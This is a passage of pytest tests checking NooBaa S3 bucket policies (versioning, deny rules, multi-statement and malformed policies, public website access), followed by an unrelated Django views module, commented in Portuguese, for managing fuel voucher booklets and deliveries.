assert put_bucket_policy(
mcg_obj, obc_obj.bucket_name, bucket_policy
), "Failed: PutBucketPolicy"
# Getting Policy
logger.info(f"Getting bucket policy for bucket: {obc_obj.bucket_name}")
get_policy = get_bucket_policy(mcg_obj, obc_obj.bucket_name)
logger.info(f"Got bucket policy: {get_policy['Policy']}")
logger.info(
f"Deleting bucket website config from bucket: {obc_obj.bucket_name}"
)
assert s3_delete_bucket_website(
s3_obj=obc_obj, bucketname=obc_obj.bucket_name
), "Failed: DeleteBucketWebsite"
@pytest.mark.polarion_id("OCS-2161")
@tier2
def test_bucket_versioning_and_policies(self, mcg_obj, bucket_factory):
"""
Tests bucket and object versioning on Noobaa buckets and also its related actions
"""
data = "Sample string content to write to a new S3 object"
object_key = "ObjKey-" + str(uuid.uuid4().hex)
object_versions = []
# Creating a OBC user (Account)
obc = bucket_factory(amount=1, interface="OC")
obc_obj = OBC(obc[0].name)
# Admin sets a policy on OBC bucket to allow versioning related actions
bucket_policy_generated = gen_bucket_policy(
user_list=obc_obj.obc_account,
actions_list=bucket_version_action_list,
resources_list=[obc_obj.bucket_name, f'{obc_obj.bucket_name}/{"*"}'],
)
bucket_policy = json.dumps(bucket_policy_generated)
# Creating policy
logger.info(f"Creating bucket policy on bucket: {obc_obj.bucket_name} by Admin")
assert put_bucket_policy(
mcg_obj, obc_obj.bucket_name, bucket_policy
), "Failed: PutBucketPolicy"
# Getting Policy
logger.info(f"Getting bucket policy on bucket: {obc_obj.bucket_name}")
get_policy = get_bucket_policy(mcg_obj, obc_obj.bucket_name)
logger.info(f"Got bucket policy: {get_policy['Policy']}")
logger.info(
f"Enabling bucket versioning on {obc_obj.bucket_name} using User: {obc_obj.obc_account}"
)
assert s3_put_bucket_versioning(
s3_obj=obc_obj, bucketname=obc_obj.bucket_name, status="Enabled"
), "Failed: PutBucketVersioning"
logger.info(
f"Verifying whether versioning is enabled on bucket: {obc_obj.bucket_name}"
)
assert s3_get_bucket_versioning(
s3_obj=obc_obj, bucketname=obc_obj.bucket_name
), "Failed: GetBucketVersioning"
# Admin modifies the policy to all obc-account to write/read/delete versioned objects
bucket_policy_generated = gen_bucket_policy(
user_list=obc_obj.obc_account,
actions_list=object_version_action_list,
resources_list=[obc_obj.bucket_name, f'{obc_obj.bucket_name}/{"*"}'],
)
bucket_policy = json.dumps(bucket_policy_generated)
logger.info(f"Creating bucket policy on bucket: {obc_obj.bucket_name} by Admin")
assert put_bucket_policy(
mcg_obj, obc_obj.bucket_name, bucket_policy
), "Failed: PutBucketPolicy"
# Getting Policy
logger.info(f"Getting bucket policy for bucket: {obc_obj.bucket_name}")
get_policy = get_bucket_policy(mcg_obj, obc_obj.bucket_name)
logger.info(f"Got bucket policy: {get_policy['Policy']}")
for key in range(5):
logger.info(f"Writing {key} version of {object_key}")
obj = s3_put_object(
s3_obj=obc_obj,
bucketname=obc_obj.bucket_name,
object_key=object_key,
data=data,
)
object_versions.append(obj["VersionId"])
for version in object_versions:
logger.info(f"Reading version: {version} of {object_key}")
assert s3_get_object(
s3_obj=obc_obj,
bucketname=obc_obj.bucket_name,
object_key=object_key,
versionid=version,
), f"Failed: To Read object {version}"
logger.info(f"Deleting version: {version} of {object_key}")
assert s3_delete_object(
s3_obj=obc_obj,
bucketname=obc_obj.bucket_name,
object_key=object_key,
versionid=version,
), f"Failed: To Delete object with {version}"
bucket_policy_generated = gen_bucket_policy(
user_list=obc_obj.obc_account,
actions_list=["PutBucketVersioning"],
resources_list=[obc_obj.bucket_name],
)
bucket_policy = json.dumps(bucket_policy_generated)
logger.info(f"Creating bucket policy on bucket: {obc_obj.bucket_name} by Admin")
assert put_bucket_policy(
mcg_obj, obc_obj.bucket_name, bucket_policy
), "Failed: PutBucketPolicy"
# Getting Policy
logger.info(f"Getting bucket policy on bucket: {obc_obj.bucket_name}")
get_policy = get_bucket_policy(mcg_obj, obc_obj.bucket_name)
logger.info(f"Got bucket policy: {get_policy['Policy']}")
logger.info(
f"Suspending bucket versioning on {obc_obj.bucket_name} using User: {obc_obj.obc_account}"
)
assert s3_put_bucket_versioning(
s3_obj=obc_obj, bucketname=obc_obj.bucket_name, status="Suspended"
), "Failed: PutBucketVersioning"
# Verifying whether GetBucketVersion action is denied access
logger.info(
f"Verifying whether user: {obc_obj.obc_account} is denied to GetBucketVersion"
)
try:
s3_get_bucket_versioning(s3_obj=obc_obj, bucketname=obc_obj.bucket_name)
except boto3exception.ClientError as e:
logger.info(e.response)
response = HttpResponseParser(e.response)
if response.error["Code"] == "AccessDenied":
logger.info("Get Object action has been denied access")
else:
raise UnexpectedBehaviour(
f"{e.response} received invalid error code {response.error['Code']}"
)
@pytest.mark.polarion_id("OCS-2159")
@tier2
def test_bucket_policy_effect_deny(self, mcg_obj, bucket_factory):
"""
Tests explicit "Deny" effect on bucket policy actions
"""
data = "Sample string content to write to a new S3 object"
object_key = "ObjKey-" + str(uuid.uuid4().hex)
# Creating multiple obc user (account)
obc = bucket_factory(amount=1, interface="OC")
obc_obj = OBC(obc[0].name)
# Admin writes an object to bucket
logger.info(f"Writing an object on bucket: {obc_obj.bucket_name} by Admin")
assert s3_put_object(
mcg_obj, obc_obj.bucket_name, object_key, data
), "Failed: PutObject"
# Admin sets policy with Effect: Deny on obc bucket with obc-account principal
bucket_policy_generated = gen_bucket_policy(
user_list=obc_obj.obc_account,
actions_list=["GetObject"],
resources_list=[f"{obc_obj.bucket_name}/{object_key}"],
effect="Deny",
)
bucket_policy = json.dumps(bucket_policy_generated)
logger.info(
f"Creating bucket policy on bucket: {obc_obj.bucket_name} with principal: {obc_obj.obc_account}"
)
assert put_bucket_policy(
mcg_obj, obc_obj.bucket_name, bucket_policy
), "Failed: PutBucketPolicy"
# Getting Policy
logger.info(f"Getting bucket policy from bucket: {obc_obj.bucket_name}")
get_policy = get_bucket_policy(mcg_obj, obc_obj.bucket_name)
logger.info(f"Got bucket policy: {get_policy['Policy']}")
# Verifying whether Get action is denied access
logger.info(
f"Verifying whether user: {obc_obj.obc_account} is denied to GetObject"
)
try:
s3_get_object(obc_obj, obc_obj.bucket_name, object_key)
except boto3exception.ClientError as e:
logger.info(e.response)
response = HttpResponseParser(e.response)
if response.error["Code"] == "AccessDenied":
logger.info("GetObject action has been denied access")
else:
raise UnexpectedBehaviour(
f"{e.response} received invalid error code {response.error['Code']}"
)
# Admin sets a new policy on same obc bucket with same account but with different action and resource
bucket_policy_generated = gen_bucket_policy(
user_list=obc_obj.obc_account,
actions_list=["DeleteObject"],
resources_list=[f'{obc_obj.bucket_name}/{"*"}'],
effect="Deny",
)
bucket_policy = json.dumps(bucket_policy_generated)
logger.info(f"Creating bucket policy on bucket: {obc_obj.bucket_name}")
assert put_bucket_policy(
mcg_obj, obc_obj.bucket_name, bucket_policy
), "Failed: PutBucketPolicy"
# Getting Policy
logger.info(f"Getting bucket policy from bucket: {obc_obj.bucket_name}")
get_policy = get_bucket_policy(mcg_obj, obc_obj.bucket_name)
logger.info(f"Got bucket policy: {get_policy['Policy']}")
# Verifying whether delete action is denied
logger.info(
f"Verifying whether user: {obc_obj.obc_account} is denied to Get object"
)
try:
s3_delete_object(obc_obj, obc_obj.bucket_name, object_key)
except boto3exception.ClientError as e:
logger.info(e.response)
response = HttpResponseParser(e.response)
if response.error["Code"] == "AccessDenied":
logger.info("Get Object action has been denied access")
else:
raise UnexpectedBehaviour(
f"{e.response} received invalid error code {response.error['Code']}"
)
@pytest.mark.polarion_id("OCS-2149")
@tier2
def test_bucket_policy_multi_statement(self, mcg_obj, bucket_factory):
"""
Tests multiple statements in a bucket policy
"""
data = "Sample string content to write to a new S3 object"
object_key = "ObjKey-" + str(uuid.uuid4().hex)
user_name = "noobaa-user" + str(uuid.uuid4().hex)
email = user_name + "@mail.com"
# Creating OBC (account) and Noobaa user account
obc = bucket_factory(amount=1, interface="OC")
obc_obj = OBC(obc[0].name)
noobaa_user = NoobaaAccount(
mcg_obj, name=user_name, email=email, buckets=[obc_obj.bucket_name]
)
accounts = [obc_obj, noobaa_user]
# Statement_1 public read access to a bucket
single_statement_policy = gen_bucket_policy(
sid="statement-1",
user_list=["*"],
actions_list=["GetObject"],
resources_list=[f'{obc_obj.bucket_name}/{"*"}'],
effect="Allow",
)
# Additional Statements; Statement_2 - PutObject permission on specific user
# Statement_3 - Denying Permission to DeleteObject action for aultiple Users
new_statements = {
"statement_2": {
"Action": "s3:PutObject",
"Effect": "Allow",
"Principal": noobaa_user.email_id,
"Resource": [f'arn:aws:s3:::{obc_obj.bucket_name}/{"*"}'],
"Sid": "Statement-2",
},
"statement_3": {
"Action": "s3:DeleteObject",
"Effect": "Deny",
"Principal": [obc_obj.obc_account, noobaa_user.email_id],
"Resource": [f'arn:aws:s3:::{"*"}'],
"Sid": "Statement-3",
},
}
for key, value in new_statements.items():
single_statement_policy["Statement"].append(value)
logger.info(f"New policy {single_statement_policy}")
bucket_policy = json.dumps(single_statement_policy)
# Creating Policy
logger.info(
f"Creating multi statement bucket policy on bucket: {obc_obj.bucket_name}"
)
assert put_bucket_policy(
mcg_obj, obc_obj.bucket_name, bucket_policy
), "Failed: PutBucketPolicy "
# Getting Policy
logger.info(
f"Getting multi statement bucket policy from bucket: {obc_obj.bucket_name}"
)
get_policy = get_bucket_policy(mcg_obj, obc_obj.bucket_name)
logger.info(f"Got bucket policy: {get_policy['Policy']}")
# NooBaa user writes an object to bucket
logger.info(
f"Writing object on bucket: {obc_obj.bucket_name} with User: {noobaa_user.email_id}"
)
assert s3_put_object(
noobaa_user, obc_obj.bucket_name, object_key, data
), "Failed: Put Object"
# Verifying public read access
logger.info(
f"Reading object on bucket: {obc_obj.bucket_name} with User: {obc_obj.obc_account}"
)
assert s3_get_object(
obc_obj, obc_obj.bucket_name, object_key
), "Failed: Get Object"
# Verifying Delete object is denied on both Accounts
for user in accounts:
logger.info(
f"Verifying whether S3:DeleteObject action is denied access for {user}"
)
try:
s3_delete_object(user, obc_obj.bucket_name, object_key)
except boto3exception.ClientError as e:
logger.info(e.response)
response = HttpResponseParser(e.response)
if response.error["Code"] == "AccessDenied":
logger.info(
f"DeleteObject failed due to: {response.error['Message']}"
)
else:
raise UnexpectedBehaviour(
f"{e.response} received invalid error code {response.error['Code']}"
)
@pytest.mark.parametrize(
argnames="policy_name, policy_param",
argvalues=[
pytest.param(
*["invalid_principal", "test-user"],
marks=pytest.mark.polarion_id("OCS-2168"),
),
pytest.param(
*["invalid_action", "GetContent"],
marks=pytest.mark.polarion_id("OCS-2166"),
),
pytest.param(
*["invalid_resource", "new_bucket"],
marks=pytest.mark.polarion_id("OCS-2170"),
),
],
)
@tier3
def test_bucket_policy_verify_invalid_scenarios(
self, mcg_obj, bucket_factory, policy_name, policy_param
):
"""
Test invalid bucket policy scenarios
"""
# Creating a OBC (Account)
obc = bucket_factory(amount=1, interface="OC")
obc_obj = OBC(obc[0].name)
# Policy tests invalid/non-existent principal. ie: test-user
if policy_name == "invalid_principal":
bucket_policy_generated = gen_bucket_policy(
user_list=policy_param,
actions_list=["GetObject"],
resources_list=[f'{obc_obj.bucket_name}/{"*"}'],
effect="Allow",
)
bucket_policy = json.dumps(bucket_policy_generated)
# Policy tests invalid/non-existent S3 Action. ie: GetContent
elif policy_name == "invalid_action":
bucket_policy_generated = gen_bucket_policy(
user_list=obc_obj.obc_account,
actions_list=[policy_param],
resources_list=[f'{obc_obj.bucket_name}/{"*"}'],
effect="Allow",
)
bucket_policy = json.dumps(bucket_policy_generated)
# Policy tests invalid/non-existent resource/bucket. ie: new_bucket
elif policy_name == "invalid_resource":
bucket_policy_generated = gen_bucket_policy(
user_list=obc_obj.obc_account,
actions_list=["GetObject"],
resources_list=[policy_param],
effect="Allow",
)
bucket_policy = json.dumps(bucket_policy_generated)
logger.info(f"Verifying Malformed Policy: {policy_name}")
try:
put_bucket_policy(mcg_obj, obc_obj.bucket_name, bucket_policy)
except boto3exception.ClientError as e:
logger.info(e.response)
response = HttpResponseParser(e.response)
if response.error["Code"] == "MalformedPolicy":
logger.info(
f"PutBucketPolicy failed due to: {response.error['Message']}"
)
else:
raise UnexpectedBehaviour(
f"{e.response} received invalid error code {response.error['Code']}"
)
@pytest.mark.polarion_id("OCS-2451")
@pytest.mark.bugzilla("1893163")
@skipif_ocs_version("<4.6")
@tier1
def test_public_website(self, mcg_obj, bucket_factory):
"""
Tests public bucket website access
"""
# Creating a S3 bucket to host website
s3_bucket = bucket_factory(amount=1, interface="S3")
# Creating random S3 users
users = []
account1 = "noobaa-user1" + str(uuid.uuid4().hex)
account2 = "noobaa-user2" + str(uuid.uuid4().hex)
for account in account1, account2:
users.append(
NoobaaAccount(
mcg=mcg_obj,
name=account,
email=f"{account}@mail.com",
buckets=[s3_bucket[0].name],
)
)
logger.info(f"Adding bucket website config to: {s3_bucket[0].name}")
assert s3_put_bucket_website(
s3_obj=mcg_obj,
bucketname=s3_bucket[0].name,
website_config=website_config,
), "Failed: PutBucketWebsite"
logger.info(f"Getting bucket website config from: {s3_bucket[0].name}")
assert s3_get_bucket_website(
s3_obj=mcg_obj, bucketname=s3_bucket[0].name
), "Failed: GetBucketWebsite"
logger.info("Writing index and error data to the bucket")
assert s3_put_object(
s3_obj=mcg_obj,
bucketname=s3_bucket[0].name,
object_key="index.html",
data=index,
content_type="text/html",
), "Failed: PutObject"
assert s3_put_object(
s3_obj=mcg_obj,
bucketname=s3_bucket[0].name,
object_key="error.html",
data=error,
content_type="text/html",
), "Failed: PutObject"
# Setting Get(read) policy action for all users(public)
bucket_policy_generated = gen_bucket_policy(
sid="PublicRead",
user_list=["*"],
actions_list=["GetObject"],
resources_list=[f"{s3_bucket[0].name}/{'*'}"],
effect="Allow",
)
bucket_policy = json.dumps(bucket_policy_generated)
logger.info(
f"Creating bucket policy on bucket: {s3_bucket[0].name} with public access"
)
assert put_bucket_policy(
mcg_obj, s3_bucket[0].name, bucket_policy
), "Failed: PutBucketPolicy"
# Getting Policy
logger.info(f"Getting bucket policy for bucket: {s3_bucket[0].name}")
get_policy = get_bucket_policy(mcg_obj, s3_bucket[0].name)
logger.info(f"Bucket policy: {get_policy['Policy']}")
# Verifying GetObject by reading the index of the website by anonymous users
for user in users:
logger.info(
f"Getting object using user: {user.email_id} on bucket: {s3_bucket[0].name} "
)
assert s3_get_object(
user, s3_bucket[0].name, "index.html"
), f"Failed: Get Object by user {user.email_id}"
|
from django.shortcuts import render, get_object_or_404
from django.contrib.auth.decorators import login_required
from django.http import HttpResponseRedirect, HttpRequest, HttpResponse
from django.db.models import Sum, Max, Count, Q, F
from django.core.paginator import Paginator
from django.contrib import messages
import datetime
from .forms import *
from .models import Talao, Vale, CadastroTalao, EntregaTalao, EntregaVale, Combustivel
from .menu import menu_principal, menu_consultas, menu_cadastros, menu_taloes, menu_vales, menu_relatorios
from constel.apps.controle_acessos.decorator import permission
from constel.forms import (
FormDataInicialFinalFuncionario,
FormFiltraQ,
FormCadastraUsuarioPassivo,
FormCadastrarVeiculo
)
from constel.models import UserType
@login_required()
def index(request):
context = menu_principal(request)
return render(request, 'constel/v2/app.html', context)
@login_required()
def cadastros(request):
context = menu_cadastros(request)
return render(request, 'constel/v2/app.html', context)
@login_required()
@permission('patrimonio', 'patrimonio - combustivel',)
def cadastrar_combustivel(request):
"""
View de carregamento e gestão de combustível novos cadastrados no sistema,
deve ser acessado apenas pelo adm e funcionãrios autorizados
:param request: informações do formulário
:return: carregamento do formulário
"""
menu = menu_cadastros(request)
if request.method == 'POST':
# Registro do cadastro do combustível
form = FormCadastraCombustivel(request.POST)
if form.is_valid():
form.save()
return HttpResponseRedirect('/patrimonio/combustivel/talao/cadastros/combustivel')
else:
form = FormCadastraCombustivel()
itens = Combustivel.objects.all().values(
'combustivel'
)
paginator = Paginator(itens, 50)
page_number = request.GET.get('page')
page_obj = paginator.get_page(page_number)
context = {
'page_obj': page_obj,
'form': form,
'form_submit_text': 'Cadastrar combustível',
}
context.update(menu)
return render(request, 'talao/v2/cadastrar_combustivel.html', context)
@login_required()
@permission('patrimonio', 'patrimonio - combustivel',)
def cadastrar_posto(request):
"""
View de carregamento e gestão de combustível novos cadastrados no sistema,
deve ser acessado apenas pelo adm e funcionãrios autorizados
:param request: informações do formulário
:return: carregamento do formulário
"""
menu = menu_cadastros(request)
if request.method == 'POST':
# Registro do cadastro do posto
form = FormCadastraPosto(request.POST)
if form.is_valid():
form.save()
return HttpResponseRedirect('/patrimonio/combustivel/talao/cadastros/posto')
else:
form = FormCadastraPosto()
itens = Posto.objects.all().values(
'posto',
)
paginator = Paginator(itens, 50)
page_number = request.GET.get('page')
page_obj = paginator.get_page(page_number)
context = {
'page_obj': page_obj,
'form': form,
'form_submit_text': 'Cadastrar posto',
}
context.update(menu)
return render(request, 'talao/v2/cadastrar_posto.html', context)
@login_required()
@permission('patrimonio', 'patrimonio - combustivel', 'patrimonio - combustivel - talao',)
def cadastrar_talao(request):
"""
View de carregamento e gestão do cadastro de novos talões,
Deve ser acessada somente pelo adm e funcionários autorizados
:param request: informações do formulário
:return: carregamento do formulário
"""
menu = menu_cadastros(request)
if request.method == 'POST':
form = FormCadastraTalao(request.POST)
if form.is_valid():
# Registro do cadastro do novo talão
talao = Talao.objects.create(talao=form.cleaned_data['talao'])
talao.save()
cadastro_talao = CadastroTalao(talao=talao, user=request.user)
for i in range(form.cleaned_data['vale_inicial'], form.cleaned_data['vale_final'] + 1):
vale = Vale.objects.create(vale=i, talao=talao)
vale.save()
cadastro_talao.save()
return HttpResponseRedirect('/patrimonio/combustivel/talao/cadastros/talao')
else:
form = FormCadastraTalao()
context = {
'form': form,
'form_submit_text': 'Cadastrar talão',
}
context.update(menu)
return render(request, 'talao/v2/cadastrar_talao.html', context)
@login_required()
@permission('patrimonio - combustivel - vale',)
def cadastrar_beneficiario(request):
"""
View de carregamento e gestão do cadastro de beneficiários de vale,
Deve ser acessada somente pelo adm e funcionários autorizados
:param request: informações do formulário
:return: carregamento do formulário
"""
menu = menu_cadastros(request)
if request.method == 'POST':
form = FormCadastraUsuarioPassivo(request.POST)
if form.is_valid():
if form.is_valid():
form.save()
user = User.objects.get(username=form.cleaned_data['username'])
modelo = form.cleaned_data['modelo']
placa = form.cleaned_data['placa']
cor = form.cleaned_data['cor']
user_type = UserType(user=user)
user_type.save()
veiculo = Veiculo(user=user, modelo=modelo, placa=placa, cor=cor)
veiculo.save()
return HttpResponseRedirect('/patrimonio/combustivel/talao/cadastros/')
else:
form = FormCadastraUsuarioPassivo()
context = {
'form': form,
'form_submit_text': 'Cadastrar beneficiário',
}
context.update(menu)
return render(request, 'talao/v2/cadastrar_talao.html', context)
@login_required()
@permission('patrimonio - combustivel - vale',)
def cadastrar_veiculo(request):
"""
View de carregamento e gestão do cadastro de veículos de beneficiários,
Deve ser acessada somente pelo adm e funcionários autorizados
:param request: informações do formulário
:return: carregamento do formulário
"""
menu = menu_cadastros(request)
if request.method == 'POST':
form = FormCadastrarVeiculo(request.POST)
if form.is_valid():
form.save()
return HttpResponseRedirect('/patrimonio/combustivel/talao/cadastros/')
else:
form = FormCadastrarVeiculo()
context = {
'form': form,
'form_submit_text': 'Cadastrar veículo',
}
context.update(menu)
return render(request, 'talao/v2/cadastrar_talao.html', context)
@login_required()
def taloes(request):
context = menu_taloes(request)
return render(request, 'constel/v2/app.html', context)
@login_required()
@permission('patrimonio - combustivel - talao',)
def entregar_talao(request):
"""
View de carregamento e gestão de entrega de talões cadastrados no sistema,
deve ser acessado apenas pelo adm e funcionãrios autorizados
:param request: informações do formulário
:return: carregamento do formulário
"""
menu = menu_taloes(request)
if request.method == 'POST':
# Registro da entrega do talão
form = FormEntregaTalao(request.POST)
if form.is_valid():
talao = form.cleaned_data['talao']
talao.status = 1
Vale.objects.filter(talao=talao).update(status=1)
entrega_talao = EntregaTalao(
talao=talao,
user=request.user,
user_to=form.cleaned_data['user_to'],
)
entrega_talao.save()
talao.save()
return HttpResponseRedirect('/patrimonio/combustivel/talao/taloes')
else:
form = FormEntregaTalao()
context = {
'form': form,
'form_submit_text': 'Entregar talão',
}
context.update(menu)
return render(request, 'talao/v2/entregar_talao.html', context)
@login_required()
@permission('patrimonio', 'patrimonio - combustivel', 'gestor')
def devolucao_talao(request):
"""
View de carregamento e gestão de entrega de talões cadastrados no sistema,
deve ser acessado apenas pelo adm e funcionãrios autorizados
:param request: informações do formulário
:return: carregamento do formulário
"""
menu = menu_taloes(request)
form = FormRetiraTalao(request.POST or None)
if request.method == 'POST':
if form.is_valid():
talao = form.cleaned_data['talao']
talao.status = 0
talao.save()
messages.success(request, 'Talão devolvido com sucesso')
return HttpResponseRedirect('/patrimonio/combustivel/talao/taloes/devolucao/')
context = {
'form': form,
'form_submit_text': 'Entregar talão',
}
context.update(menu)
return render(request, 'talao/v2/entregar_talao.html', context)
@login_required()
def vales(request):
context = menu_vales(request)
return render(request, 'constel/v2/app.html', context)
@login_required()
@permission('patrimonio - combustivel - vale',)
def entregar_vale_1(request):
"""
View 1 de carregamento e gestão de entrega de vales cadastrados no sistema,
deve ser acessado apenas pelo adm e funcionãrios autorizados
:param request: informações do formulário
:return: carregamento do formulário
"""
menu = menu_vales(request)
if request.method == 'POST':
initial = {
'user_to': request.session.get('user_to', None),
'vale': request.session.get('vale', None),
}
form = FormEntregaVale1(data=request.POST, user=request.user, initial=initial)
if form.is_valid():
# Registro da entrega do vale
request.session['user_to'] = form.cleaned_data['user_to']
request.session['vale'] = form.cleaned_data['vale']
return HttpResponseRedirect('/patrimonio/combustivel/talao/vales/entrega-2')
else:
form = FormEntregaVale1(user=request.user)
context = {
'form': form,
'form_submit_text': 'Avançar',
}
context.update(menu)
return render(request, 'talao/v2/entregar_talao.html', context)
@login_required()
@permission('patrimonio - combustivel - vale',)
def entregar_vale_2(request):
"""
View 2 de carregamento e gestão de entrega de vales cadastrados no sistema,
deve ser acessado apenas pelo adm e funcionãrios autorizados
:param request: informações do formulário
:return: carregamento do formulário
"""
menu = menu_vales(request)
if request.session.get('user_to') is None:
return HttpResponseRedirect('/patrimonio/combustivel/talao/vales/entrega-1')
vale = Vale.objects.get(id=request.session['vale'])
user_to = User.objects.get(id=request.session['user_to'])
if request.method == 'POST':
form = FormEntregaVale2(user_to, request.POST)
if form.is_valid():
request.session.pop('vale')
request.session.pop('user_to')
vale.status = 2
vale.save()
EntregaVale(
user=request.user,
user_to=user_to,
vale=vale,
combustivel=form.cleaned_data['combustivel'],
valor=form.cleaned_data['valor'],
observacao=form.cleaned_data['observacao'],
posto=Posto.objects.get(id=form.cleaned_data['posto']),
).save()
return HttpResponseRedirect('/patrimonio/combustivel/talao/vales')
else:
form = FormEntregaVale2(user_to)
context = {
'form': form,
'form_submit_text': 'Entregar vale',
}
context.update(menu)
return render(request, 'talao/v2/entregar_talao.html', context)
@login_required()
@permission('patrimonio', 'patrimonio - combustivel')
def vales_buscar_vale_entregue(request):
"""
View para a busca de vale entregue
:param request: informações do formulário
:return: carregamento do formulário
"""
menu = menu_vales(request)
form = FormBuscaValeEntregue(request.POST or None)
if request.method == 'POST':
if form.is_valid():
return HttpResponseRedirect(f'/patrimonio/combustivel/talao/vales/edicao/{form.cleaned_data['vale']}/')
context = {
'form': form,
'form_submit_text': 'Buscar vale',
}
context.update(menu)
return render(request, 'talao/v2/entregar_talao.html', context)
@login_required()
@permission('patrimonio', 'patrimonio - combustivel', 'gestor')
def vales_editar_entrega(request, vale_id):
"""
View de edição de vales que já foram entregues. Para casos de preenchimento incorreto
:param request: informações do formulário
:param vale_id: codigo do vale
:return: carregamento do formulário
"""
menu = menu_vales(request)
vale = get_object_or_404(Vale, vale=vale_id)
if vale.status != 2:
return HttpResponseRedirect('/patrimonio/combustivel/talao/vales/edicao/')
vale_entrega = EntregaVale.objects.get(vale=vale)
form = FormEditaValeEntregue(request.POST or None, instance=vale_entrega)
if request.method == 'POST':
if form.is_valid():
form.save()
messages.success(request, 'Vale alterado com sucesso')
return HttpResponseRedirect('/patrimonio/combustivel/talao/vales/edicao/')
context = {
'form': form,
'form_submit_text': 'Salvar',
}
context.update(menu)
return render(request, 'talao/v2/entregar_talao.html', context)
@login_required()
def consultas(request):
context = menu_consultas(request)
return render(request, 'constel/v2/app.html', context)
@login_required()
@permission('patrimonio - combustivel - vale',)
def consulta_talao(request):
"""
View de exibição dos talões cadastrados no sistema
:param request: informações gerais
:return: template
"""
menu = menu_consultas(request)
q = request.GET.get('q', '')
form = FormFiltraQ(
'código do talão ou matrícula',
initial={
'q': q,
}
)
query = Q()
if q != '':
query = query & Q(
Q(talao__icontains=q) |
Q(talao_cadastro__user__username__icontains=q) |
Q(talao_entrega__user__username__icontains=q) |
Q(talao_entrega__user_to__username__icontains=q)
)
itens = Talao.objects.filter(query).values(
'talao',
'status',
'talao_cadastro__data',
'talao_cadastro__user__username',
'talao_cadastro__user__first_name',
'talao_cadastro__user__last_name',
'talao_entrega__data',
'talao_entrega__user__username',
'talao_entrega__user__first_name',
'talao_entrega__user__last_name',
'talao_entrega__user_to__username',
'talao_entrega__user_to__first_name',
'talao_entrega__user_to__last_name',
).order_by('talao')
paginator = Paginator(itens, 50)
page_number = request.GET.get('page')
page_obj = paginator.get_page(page_number)
context = {
'page_obj': page_obj,
'form': form,
'form_submit_text': 'Filtrar',
}
context.update(menu)
return render(request, 'talao/v2/consulta_talao.html', context)
@login_required()
@permission('patrimonio - combustivel - vale',)
def consulta_talao_detalhe(request, talao):
"""
View de exibição dos talões cadastrados no sistema
:param request: informações gerais
:param talao: identificação do talao a ser detalhado
:return: lista de vales do talão
"""
if not Talao.objects.filter(talao=talao).exists():
return HttpResponseRedirect('/patrimonio/combustivel/talao/consultas/talao')
menu = menu_consultas(request)
talao = Talao.objects.get(talao=talao)
itens = Vale.objects.filter(talao=talao).values(
'vale',
'status',
'vale_entrega__data',
'vale_entrega__user_to__first_name',
'vale_entrega__user_to__last_name',
'vale_entrega__combustivel__combustivel',
'vale_entrega__valor',
'vale_entrega__posto__posto',
'vale_entrega__observacao',
).order_by('vale_entrega__data')
context = {
'talao': talao,
'itens': itens,
}
context.update(menu)
return render(request, 'talao/v2/consulta_talao_detalhe.html', context)
@login_required()
@permission("patrimonio - combustivel - talao", "gerencia")
def consulta_vales(request: HttpRequest) -> HttpResponse:
menu = menu_consultas(request)
q = request.GET.get("q", "")
form = FormFiltraQ(
"Código do vale ou matrícula",
initial={
"q": q,
}
)
query = Q()
if q != "":
query = query & Q(
Q(vale__icontains=q) |
Q(vale_entrega__user__username__icontains=q) |
Q(vale_entrega__user_to__username__icontains=q)
)
itens = Vale.objects.filter(query).order_by(
"vale"
).values(
"vale",
"status",
"talao__talao",
"vale_entrega__data",
"vale_entrega__user_to__first_name",
"vale_entrega__user_to__last_name",
"vale_entrega__combustivel__combustivel",
"vale_entrega__valor",
"vale_entrega__posto__posto",
)
paginator = Paginator(itens, 50)
page_number = request.GET.get("page")
page_obj = paginator.get_page(page_number)
context = {
"page_obj": page_obj,
"form": form,
"form_submit_text": 'Filtrar'
}
context.update(menu)
return render(request, "talao/v2/consulta_vale.html", context)
@login_required()
def consulta_meu_talao(request):
"""
View de exibição dos talões cadastrados no sistema que foram recebido pelo usuário logado
:param request: informações gerais
:return: template
"""
menu = menu_consultas(request)
q = request.GET.get('q', '')
form = FormFiltraQ(
'código do talão ou matrícula',
initial={
'q': q,
}
)
query = Q(talao_entrega__user_to=request.user)
if q != '':
query = query & Q(
Q(talao__icontains=q) |
Q(talao_cadastro__user__username__icontains=q) |
Q(talao_entrega__user__username__icontains=q) |
Q(talao_entrega__user_to__username__icontains=q)
)
itens = Talao.objects.filter(query).values(
'talao',
'status',
'talao_cadastro__data',
'talao_cadastro__user__username',
'talao_cadastro__user__first_name',
'talao_cadastro__user__last_name',
'talao_entrega__data',
'talao_entrega__user__username',
'talao_entrega__user__first_name',
'talao_entrega__user__last_name',
'talao_entrega__user_to__username',
'talao_entrega__user_to__first_name',
'talao_entrega__user_to__last_name',
).order_by('talao')
paginator = Paginator(itens, 50)
page_number = request.GET.get('page')
page_obj = paginator.get_page(page_number)
context = {
'page_obj': page_obj,
'form': form,
'form_submit_text': 'Filtrar',
}
context.update(menu)
return render(request, 'talao/v2/consulta_talao.html', context)
@login_required()
def consulta_meu_vale(request):
"""
View de exibição dos vales cadastrados no sistema que foram recebidos pelo usuário cadastrado
:param request: informações gerais
:return: template
"""
menu = menu_consultas(request)
q = request.GET.get('q', '')
form = FormFiltraQ(
'código do vale ou matrícula',
initial={
'q': q,
}
)
query = Q(vale_entrega__user_to=request.user)
if q != '':
query = query & Q(
Q(vale__icontains=q) |
Q(vale_entrega__user__username__icontains=q)
)
itens = Vale.objects.filter(query).values(
'vale',
'talao__talao',
'status',
'vale_entrega__data',
'vale_entrega__user__first_name',
'vale_entrega__user__last_name',
'vale_entrega__combustivel__combustivel',
'vale_entrega__posto__posto',
'vale_entrega__valor',
'vale_entrega__observacao',
).order_by('vale_entrega__data')
paginator = Paginator(itens, 50)
page_number = request.GET.get('page')
page_obj = paginator.get_page(page_number)
context = {
'page_obj': page_obj,
'form': form,
'form_submit_text': 'Filtrar',
}
context.update(menu)
return render(request, 'talao/v2/consulta_vale.html', context)
@login_required()
def consulta_funcionarios(request):
"""
View de exibição dos funcionários cadastrados
:param request: informações gerais
:return: template
"""
menu = menu_consultas(request)
q = request.GET.get('q', '')
form = FormFiltraQ(
'matrícula',
initial={
'q': q,
}
)
query = Q()
if q != '':
query = query & Q(
Q(username__icontains=q) |
Q(first_name__icontains=q) |
Q(last_name__icontains=q)
)
itens = User.objects.filter(query).values(
'username',
'first_name',
'last_name',
'user_type__is_passive',
'is_superuser',
'is_active',
'last_login',
).annotate(
veiculos_qtde=Count(F('veiculos__id'))
